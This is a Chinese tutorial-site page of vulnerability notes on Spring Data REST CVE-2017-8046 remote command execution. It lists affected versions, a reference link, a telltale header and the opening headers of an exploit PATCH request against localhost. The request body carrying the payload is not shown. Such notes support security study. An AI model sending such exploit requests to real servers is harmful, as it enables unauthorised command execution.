zl程序教程

您现在的位置是:首页 >  后端

当前栏目

spring框架漏洞整理(Spring Data漏洞)

Spring漏洞框架 整理 Data
2023-09-11 14:19:27 时间

Spring Data漏洞,Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架。

(CVE-2017-8046)Spring Data Rest 远程命令执行漏洞
影响范围PivotalSpringDataREST2.5.12 之前的版本,2.6.7 之前的版本,3.0RC3 之前的版本
SpringBoot2.0.0M4 之前版本
SpringDataKay-RC3 之前的版本
参考文章

http://www.code2sec.com/cve-2017-8046-spring-data-restming-ling-zhi-xing-lou-dong.html

特征header 头是 Content-Type: application/hal+json;charset=UTF-8

 

Spring Data漏洞利用

PATCH http://localhost:18080/customers/1 HTTP/1.1
Host: localhost:18080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 193